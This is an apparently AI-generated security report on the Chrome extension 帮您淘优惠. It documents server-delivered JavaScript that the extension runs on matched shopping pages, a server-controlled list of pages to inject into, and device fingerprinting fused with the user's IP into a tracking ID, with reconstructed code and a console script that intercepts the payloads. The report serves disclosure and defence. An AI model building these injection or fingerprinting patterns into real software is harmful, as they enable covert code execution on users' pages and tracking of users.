Is 帮您淘优惠 safe?

Critical risk

帮您淘优惠 is critical risk. 帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages. The response can include JS code strings, run in a sandboxed acorn+Babel interpreter. A captured request returned three scripts (7,226/6,209/7,231 chars); a POST confirmed execution.…

xiaochengxu1v3.0.3Chrome Web Store
97Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Server Delivers JavaScript Executed on Every Matched Page

CriticalunwantedCWE-829Dynamic sandbox

帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages.

What actually happens

You did this

You visit a page that matches the server's injection scope list.

The extension did this

The extension POSTs to xapi.bntyh.com/fddqa and receives JavaScript code strings, which its sandboxed interpreter executes with access to the page's window object.

Our dynamic analysis confirmed this: the server returned three script payloads totalling over 20,000 characters, and a subsequent beacon to duommai.com confirmed the interpreter ran.

Captured request

POSThttps://xapi.bntyh.com/fddqa

200 OK, 32,697 bytes. Response contained content2.script (7,226 chars), content4.script (6,209 chars), content9.script (7,231 chars), all server-supplied JavaScript. Observed as DA request 1310393.8. Scripts were also cached in chrome.storage.local for reuse on subsequent navigations.

Body
{  "uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122",  "bid": 8,  "ver": "3.0.3",  "eid": "jd_coupon_01",  "data": {    "content2": "2026-04-14T14:00:00.000Z"  }}

The code that does this

The sandboxed interpreter setup and execution path in the extension source:

Readable version

Interpreter initialization — creates sandboxed interpreter with window access

// evalCore is loaded from js/umd.js — an acorn+Babel-based JS interpreterconst { evalModule, getEvalInstance } = evalCore;const Interpreter = evalModule.Interpreter;// Give the interpreter access to the page's window objectInterpreter.global = window;new Interpreter(); // bootstrap// window.evil is now a callable that evaluates strings as JSwindow.evil = getEvalInstance(window);

Script execution — runs server-supplied code for each matching content block

// For each content block returned by /fddqa:if (contentBlock.script) {  // Inject the HTML template into the target DOM element first  $(targetElement)[contentBlock.append_type](renderedTemplate);  if (contentBlock.style) {    $(targetElement)[contentBlock.append_type](contentBlock.style);  }  // Execute the server-supplied JavaScript via the sandboxed interpreter  evil(contentBlock.script);  break;}

What's stored on your device

Scripts are cached locally after the first fetch, then re-executed on later visits without re-fetching, so old code persists.

Location
chrome.storage.local key 'ad_{eid}_content{N}'
Contents
{  "aid": "jd_coupon_01",  "dom": "#BANGNITAO_AD|.jd-promo-container",  "script": "window.BANGNITAO_ad_loaded=true; /* 7226 chars */",  "template": "<div class='yhc-coupon'>...</div>",  "append_type": "after"}

Reproduce it yourself

Intercepts the sandboxed interpreter call in 帮您淘优惠 and logs the server-supplied JavaScript strings to the DevTools console before they execute. Run this in the DevTools console on any JD.com product page after the extension has loaded.

Requires
  • Chrome with Developer mode enabled
  • 帮您淘优惠 extension installed
  • JD.com product page (item.jd.com)
bangnintao-script-capture.js · js
// bangnintao-script-capture.js// Intercepts the sandboxed interpreter function in the BANGNINTAO content// script and logs each server-supplied script string before execution.//// Usage: paste into Chrome DevTools console on a JD.com product page// after 帮您淘优惠 has loaded. Navigate to a product page and watch// the console for [BANGNINTAO_INTERP] entries.(function() {  // The interpreter function is set on window by the extension's content script (js/utils.js)  // We need to wait for the extension to initialize it first.  function hookInterp() {    if (typeof window.evil !== 'function') {      setTimeout(hookInterp, 100);      return;    }    const originalInterp = window.evil;    window.evil = function(script) {      console.group('[BANGNINTAO_INTERP] Server-supplied script intercepted');      console.log('Script length:', script.length, 'chars');      console.log('Script contents:', script);      console.groupEnd();      // Call the original to allow normal execution (remove this line to block)      return originalInterp(script);    };    console.log('[BANGNINTAO_INTERP] Hook installed. Navigate to a JD.com product page.');  }  hookInterp();})();
How to run it
  1. 1Install 帮您淘优惠.
  2. 2Open DevTools (F12) on a JD.com page (e.g. https://item.jd.com/).
  3. 3Paste this script into Console, press Enter.
  4. 4Reload the page.
  5. 5Watch console for [BANGNINTAO_INTERP] entries with script content/length.

Server Controls Which Pages Receive Ad Injection

HighunwantedCWE-829Dynamic sandbox

帮您淘优惠 sends your UUID and version to xapi.bntyh.com/version and gets a list of websites/paths for ad content, cached and re-fetched.

What actually happens

You did this

You navigate to any web page.

The extension did this

The extension tests your URL against a domain/path list fetched from xapi.bntyh.com/version. On a match, it requests and injects ad content from the same server.

The matching list is entirely server-controlled; the server can add or remove any domain or path without an extension update.

Captured request

POSThttps://xapi.bntyh.com/version

200 OK, 15,448 bytes. Returns JSON with: version (string), area (string), ip (string), duration (refresh interval in hours), domain_list (array), urls (object mapping domains to path+eid+pid entries). Observed in dynamic analysis request 1310393.6.

Body
{  "uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122",  "t": 1744640329844,  "pver": "3.0.3",  "area": "CN",  "ip": "114.87.42.191"}

The code that does this

The getServerUrls() function that fetches and stores the injection scope list:

Readable version
// getServerUrls() — fetches injection scope from serverasync function getServerUrls() {  const cachedUrls = await getStorage('urls');    // existing config if any  let uuid = await getStorage('uuid');  if (!uuid) uuid = await yhc_get_uuid();          // generate if missing  const payload = {};  if (cachedUrls) {    // send back server's own values to identify the user's region/IP    payload.pver  = cachedUrls.version;    payload.area  = cachedUrls.area;    payload.ip    = cachedUrls.ip;  }  payload.uuid = uuid;  payload.t    = getTime(); // current timestamp  // POST to /version — no signature, no integrity check  const response = await httpSync({ url: '/version', type: 'post', data: payload });  // Cache the response's injection scope list directly  await setStorage({ urls: response.data });  return response.data;}

The code that does this

How the content script uses the server list to select pages for injection:

Readable version
// In contentScript.js — runs on every page navigationconst config = await getStorage('urls');      // server-supplied scope listconst urlList  = config.urls;                  // domain → [{ path, eid, pid }]const domainList = config.domain_list;         // additional platform hintsif (domainList) getEcommercePlatform({ hosts: domainList });const currentPath = window.location.href.replace(window.location.origin, '');for (const domain of Object.keys(urlList)) {  if (window.location.origin.includes(domain)) {    for (const entry of urlList[domain]) {      // Convert glob-style path to regex      let pattern = entry.path.replace(/\*$/, '\\S+').replace(/\/$/,'').replace(/\*/g,'[^\\s/]+');      if (new RegExp(pattern, 'gi').test(currentPath)) {        shouldInject = true;        eid = entry.eid;   // ad campaign ID        pid = entry.pid;   // publisher ID        break;      }    }  }}

Servers involved in the injection scope mechanism

    • xapi.bntyh.com

    Receives UUID + version info via POST /version; returns the domain/path injection scope list and refresh interval.

Device Fingerprint + IP Fused into Persistent Tracking ID

MediumunwantedCWE-359Dynamic sandbox

On first install, 帮您淘优惠 fetches your IP and runs Fingerprint2 to collect device data, hashed into a UUID.

What actually happens

You did this

You install 帮您淘优惠 for the first time.

The extension did this

The extension fetches your external IP, collects browser fingerprint attributes, combines them into a 128-bit hash, and stores it permanently as your unique ID.

This UUID is then included in every subsequent request to the extension's servers for the lifetime of the install.

Captured request

GEThttps://api.yhchj.com/ip

Returns the user's external IP address as plain text (e.g. "114.87.42.191"). Observed 8 times in a single dynamic analysis (requests observed during dynamic analysis).

Inputs to the UUID hash (everything Fingerprint2.get() collects, minus excluded attributes)

  • Browser and OS attributes
    canvas: data:image/png;base64,iVBORw0KGgo...

    Canvas rendering, WebGL renderer, screen resolution, timezone, language, and plugins that together uniquely identify your device.

  • Your external IP address
    114.87.42.191

    Fetched from api.yhchj.com/ip before hashing. Ties the fingerprint to a geographic location and ISP.

  • Install timestamp
    1744640329122

    The millisecond timestamp at the moment the UUID is first created. Appended after the hash to produce the final UUID string.

What's stored on your device

The UUID is written here on first install and read on every subsequent request. It persists indefinitely unless you uninstall the extension.

Location
chrome.storage.local key 'uuid'
Contents
a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122

The code that does this

The UUID generation code from background.js (shipping source vs annotated reading):

Readable version
// yhc_get_uuid() — runs once on first install if no UUID stored yetconst installTimestamp = Math.round(new Date()); // milliseconds// Wait for browser idle, then fetch IP and fingerprintrequestIdleCallback(() => {  // Step 1: fetch external IP  httpSync({ url: '/ip', baseUrl: 'https://api.yhchj.com' })    .then(ipResponse => {      // Step 2: collect browser fingerprint attributes      Fingerprint2.get(        { excludes: { enumerateDevices: true, fontsFlash: true, deviceMemory: true } },        (components) => {          // Step 3: append IP to the fingerprint array          components.push({ key: 'ip', value: ipResponse.data });          const values = components.map(c => c.value);          // Step 4: hash everything into a 128-bit fingerprint          const hash = Fingerprint2.x64hash128(values.join(''), 31);          const uuid = hash + '.' + installTimestamp;          // Step 5: persist permanently          setStorage({ uuid: uuid });          resolve(uuid);        }      );    });}, { timeout: 500 });

Where the UUID is transmitted

    • api.yhchj.com

    IP address lookup, supplies the IP component used in UUID construction.

    • xapi.bntyh.com

    Primary backend for 帮您淘优惠, receives the UUID in POST bodies for /version and /fddqa endpoints on every page load.

    • sr.anhuiry.com

    Analytics pixel beacon, receives the UUID as a query parameter in GET requests to /sp.gif.

What it can do

Permissions this extension asks for, as declared in version 3.0.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

Updated 22 October 2026hmlpiahhoampfgiodhahfofmeppmkaeo